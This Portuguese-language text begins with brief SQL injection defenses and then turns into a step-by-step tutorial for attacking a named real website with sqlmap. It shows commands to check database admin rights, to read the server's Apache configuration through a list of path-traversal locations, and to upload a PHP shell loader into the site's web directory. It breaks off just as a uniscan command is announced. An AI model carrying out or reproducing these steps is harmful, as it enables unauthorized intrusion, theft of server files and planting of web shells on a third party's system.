
Procedimentos armazenados- Eles podem encapsular consultas SQL e processar todos os dados de entrada como parâmetros.

Consultas preparadas- As consultas são criadas primeiro e, em seguida, todos os dados do usuário fornecidos são processados ​​como parâmetros. Isto não afeta a sintaxe da instrução SQL.

Expressões regulares- pode ser usado para detectar códigos potencialmente maliciosos e removê-los antes de executar instruções SQL.

Direitos de acesso para conectar-se ao banco de dados- para proteger contra injeções de SQL, as contas usadas para conectar-se ao banco de dados deverão receber apenas os direitos de acesso necessários. Isso ajudará a limitar as ações que as instruções SQL podem executar no servidor.

Mensagens de erro- não deve divulgar informações confidenciais. Mensagens de erro personalizadas simples, como " Desculpe, ocorreu um erro técnico. A equipe de suporte já foi notificada sobre isso. Por favor, tente novamente mais tarde" pode ser usado em vez de exibir as consultas SQL que causaram o erro.

Spoiler: .ZEN

Temos um SQL Injection no site parecido com este:

A primeira coisa que queremos fazer é verificar se temos privilégios para gravar arquivos no recurso atacado; para isso, carregue o terminal e emita o seguinte comando:

Http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Pressionamos Enter e começa a análise do nosso SQL Injection, o relatório fica assim:

Como você pode ver no relatório, a versão do Apache, a versão do MySQL e a versão do sistema operacional instalado no servidor estão escritas, tudo isso será útil para nós no futuro, mas o mais importante, você pode ver que temos direitos para gravar arquivos, isso é exibido na linha Current User is DBA: True

O próximo passo para nós é obter os caminhos para gravar nosso shell. Podemos obter o caminho do nosso site no servidor baixando o arquivo httpd.conf. Obtemos informações sobre a localização do arquivo httpd.conf usando o Google, você pode pesquisar pela versão do sistema operacional instalado ou pela lista dos caminhos mais prováveis; Em geral, não vou me aprofundar na navegação nos mecanismos de busca, apenas quando você descobrir a localização mais provável do caminho para o arquivo, então é hora de baixar esse mesmo arquivo para o seu disco, para fazer isso, digite o seguinte comando e solicitação de leitura do arquivo no servidor:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Observemos imediatamente que nem sempre é possível encontrar este arquivo de configuração na primeira vez, então você pode usar os caminhos mais prováveis ​​onde este arquivo pode estar localizado:

LISTA DE POSSÍVEIS CAMINHOS PARA O ARQUIVO DE CONFIGURAÇÃO:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Recebemos um relatório do sqlmap no seguinte formato:

Como você pode ver, o sqlmap nos disse que o arquivo tem o mesmo tamanho do arquivo no servidor, portanto temos o direito de ler este arquivo. Se não houvesse direitos suficientes para ler este arquivo, apareceria um erro de que o arquivo salvo em nossa máquina tem um tamanho diferente do arquivo no servidor ou não há arquivo no servidor no caminho que especificamos e nunca tem estive. O Sqlmap salvou nosso arquivo nos arquivos de relatório e para lê-lo precisamos iniciar o gerenciador de janelas. Para iniciar o gerenciador de janelas, abrimos outra janela do terminal e digitamos o comando:

A seguir, no gerenciador que se abre, seguimos o caminho onde o sqlmap adicionou o arquivo, ou seja:
/root/.sqlmap/output/sacoor.com
Em seguida, passe o cursor sobre o arquivo, pressione o botão F3 no teclado e leia o arquivo de configuração do Apache:

Em nosso arquivo de configuração vemos que nosso site está localizado no servidor no seguinte caminho:
/home/sbshop/site/

Agora que temos algumas informações, podemos tentar preencher o shell, para isso digitamos o seguinte comando:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

Após inserir o comando, o sqlmap irá perguntar que tipo de filler queremos utilizar, pois... no nosso caso o site está em PHP, então faremos o upload do PHP-loader, selecione o item 4 e pressione Enter. A seguir, o sqlmap nos pedirá para escolher onde iremos carregar nosso carregador, e desde... Já sabemos o caminho do nosso site no servidor, selecione o item 2, pressione Enter e indique o caminho para o site:
/home/sbshop/site/

E depois disso, pressione Enter e veja o seguinte relatório:

Neste caso, o sqlmap nos informa que não temos direitos de gravação nesta pasta. Não tem problema, esse problema é bastante fácil de resolver. Damos o comando para iniciar o uniscan e verificar a capacidade de escrita dos arquivos e pastas, aqui está o comando.